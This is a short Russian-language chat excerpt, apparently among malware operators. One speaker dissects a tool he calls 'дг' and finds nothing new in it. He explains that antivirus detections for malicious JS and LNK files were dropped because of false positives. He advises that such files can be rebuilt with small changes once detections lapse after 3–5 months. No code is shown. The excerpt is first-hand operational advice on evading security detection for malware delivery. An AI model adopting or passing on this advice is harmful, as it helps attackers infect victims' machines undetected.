там нет никакой магии и панацеии

он сейчас использует все техники, которые я в прошлом году использовал, я изучил его JS, там ничего интересного нет, все тоже самое

просто сейчас это уже не палится, ибо детекты убрали эти

ибо было очень много false positive

поэтому сейчас эти файлы будут чистыми

LNK помништ какой грязный был, а сейчас когда я вам его собрал вначале, он был чистее чистого

детекты снимают за 3-5 месяцев

и можно по новой билдить эти же файлы. просто немного их изменить

поменять подход по сути

```

😄

ну полностью все описал)

я полностью просто разобрал как дг рабоатет, в нем ничего уникального нет, он просто дает обширный функционал и все, кароче просто куча всего в 1 софте, разные техники, которые уже были использованые ранее нами